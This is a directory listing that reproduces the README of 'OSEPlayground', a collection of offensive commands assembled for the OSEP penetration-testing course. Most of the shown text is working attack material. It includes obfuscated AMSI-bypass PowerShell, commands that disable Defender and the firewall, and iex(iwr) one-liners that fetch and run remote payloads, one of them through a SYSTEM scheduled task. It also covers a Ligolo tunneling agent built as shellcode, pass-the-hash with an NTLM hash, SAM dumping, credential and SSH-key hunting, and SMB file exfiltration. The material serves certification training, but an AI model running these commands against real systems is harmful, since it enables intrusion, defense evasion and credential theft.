OSEPlayground

OSEPlayground

148 Stars

A collection of useful tools and scripts were developed and gathered throughout the Offensive Security's PEN-300 (OSEP) course.

Extravenger
Jun 22, 2025
148 stars
Category
Resources
GitHub Stars
148
Project Added On
Jun 22, 2025
Contributors
1

OSEPlayground 🛝

[!NOTE]
Some of the tools and scripts in here weren’t made by me - huge thanks to everyone whose code contributed to this repository!

Payloads consisting shellcode will not work with the XOR encryption of msfvenom. Instead, encrypt the shellcode by using the one provided here or the GUI version available here.

Tunneling - Ligolo-NG

We will use the powershell shellcode runner here.

  1. Make sure to convert agent.exe of ligolo to shellcode:
    - donut -f 1 -o agent.bin -a 2 -p "-connect your-server:11601 -ignore-cert" -i agent.exe

  2. Make sure you are running as x64 bit process before running:
    - Powershell - [Environment]::Is64BitProcess
    - CMD - set p (Should show PROCESSOR_ARCHITECTURE=AMD64)

If you are in 32bit process, run: %windir%\sysnative\WindowsPowerShell\v1.0\powershell.exe - then check again.

  1. Make sure to change line number 14 to point to your IP Address:
  • $url = "http://192.168.45.168/agent.bin" # CHANGE ME
  1. Invoke it: iex(iwr http://192.168.45.173:443/ligolo.ps1 -UseBasicParsing)

Finally you should see an agent connected to your ligolo server.

Map The Network

  • nxc smb 172.16.125.0/24 --log hosts.txt (for windows hosts)

  • nxc ssh 172.16.125.0/24 --log hosts.txt (for linux hosts)

Automation for /etc/hosts file:

netexec smb 172.16.149.0/24 --log hosts.txt && sed -i 's/x64//g' hosts.txt && cat hosts.txt | awk '{print $9,$11,$11"."$21}' | sed 's/(domain://g' | sed 's/)//g' | uniq | sort -u | tr '[:upper:]' '[:lower:]' | sudo tee -a /etc/hosts

Windows Privilege Escalation

  • PrivescCheck: Invoke-PrivescCheck -Report PrivescCheck_$($env:COMPUTERNAME) -Format HTML
  • winPEAS: iex(iwr http://192.168.45.196/winPEAS.ps1 -useb)

AMSI-Bypass

  • Windows 10/11:
class TrollAMSI{static [int] M([string]$c, [string]$s){return 1}}[System.Runtime.InteropServices.Marshal]::Copy(@([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]([TrollAMSI].GetMethods() | Where-Object Name -eq 'M').MethodHandle.Value + [long]8)),0, [long]([Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls').GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq ScanContent).MethodHandle.Value + [long]8,1)
  • Windows 10:
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
(([Ref].Assembly.gettypes() | ? {$_.Name -like "Amsi*utils"}).GetFields("NonPublic,Static") | ? {$_.Name -like "amsiInit*ailed"}).SetValue($null,$true)

Windows Defender and Firewall Commands

Description Command
Disable firewall - New way netsh advfirewall set allprofiles state off
Disable Firewall - Old way netsh firewall set opmode disable
Disable firewall service (can only run as SYSTEM?) net stop mpssvc
Current firewall profile netsh advfirewall show currentprofile
Firewall rules netsh advfirewall firewall show rule name=all
Show open ports netstat -ano
Network Information ipconfig /all
EXE Exclusion Add-MpPreference -ExclusionExtension “.exe”
Turn off Virus & Threat Detection Set-MpPreference -DisableRealtimeMonitoring $true
Remove all definitions cmd.exe /c “C:\Program Files\Windows Defender\MpCmdRun.exe” -removedefinitions -all

Useful Basic Commands

Run command as another user:

  • Invoke-RunasCs amit 'Password123!' 'powershell iex(iwr http://192.168.45.185/rev.txt -usebasicparsing)' -ForceProfile -CreateProcessFunction 2 -BypassUac

  • runas.exe /netonly /user:final.com\nina cmd.exe

Set up SMB server (file transfer):

  • smbserver.py share $(pwd) -smb2support -username amit -password password

  • On Victim: net use \\192.168.45.223\share /U:amit password

  • Copy files: copy <FILENAME> \\192.168.45.223\share

Locate local/proof files

  • tree /f /a C:\Users

  • Get-ChildItem -Path "C:\" -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.Name -in "proof.txt", "local.txt", "secret.txt" }

Send email with attachment (Phishing)

Enumeration

Search for SSH keys in Users directory:
- Get-ChildItem -Path C:\Users -Include .ssh -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-ChildItem -Path $_.FullName -File -Recurse -ErrorAction SilentlyContinue }

Search for interesting files:
- Get-ChildItem -Path C:\Users -Include *.xml,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,id_rsa,authorized_keys,*.exe,*.log -File -Recurse -ErrorAction SilentlyContinue

Powershell History Path:
- C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Sticky Notes Path:
- C:\Users\*\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\

Enable RDP and RestrictedAdmin

Note: Enabling RestrictedAdmin allow us to perform PassTheHash with RDP.

Using command prompt (Local):

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f && reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 && netsh firewall set service remoteadmin enable && netsh firewall set service remotedesktop enable

Using netexec (Remote):

netexec smb db01 -u administrator -H faf3185b0a608ce2f8afb6f8d133f85b --local-auth -X 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f;reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0;netsh firewall set service remoteadmin enable;netsh firewall set service remotedesktop enable' --exec-method atexec

RDP to host:

Password Auth:
- xfreerdp /v:172.16.231.221 /u:amit /p:'Password123!' /cert-ignore /compression +dynamic-resolution +clipboard

NTLM Auth:
- xfreerdp /v:172.16.231.221 /u:amit /pth:'<NTLM HASH>' /cert-ignore /compression +dynamic-resolution +clipboard

atexec.py

Escalate to SYSTEM via Schedule Task

  • schtasks /create /tn "SystemTask" /tr "powershell iex(iwr http://192.168.45.223/hollow.ps1 -useb)" /sc once /st 00:00 /ru SYSTEM

  • schtasks /run /tn "SystemTask"

Dump SAM (Make sure session is running with SYSTEM privileges)

  • Background the meterpreter session with bg.
  • use post/windows/gather/hashdump
  • set SESSION <Session Number>
  • run

TCP Port Redirection via powercat

Mostly be used for NTLM Relay attacks when the authentication cannot reach our attacking machine, so the idea is to redirect it from a random host in the network (where we have ad

... Content truncated. Click "See More" to view the full README.

Tool Information

Author

Extravenger

Project Added On

June 22, 2025

License

Open Source

Tags

security tool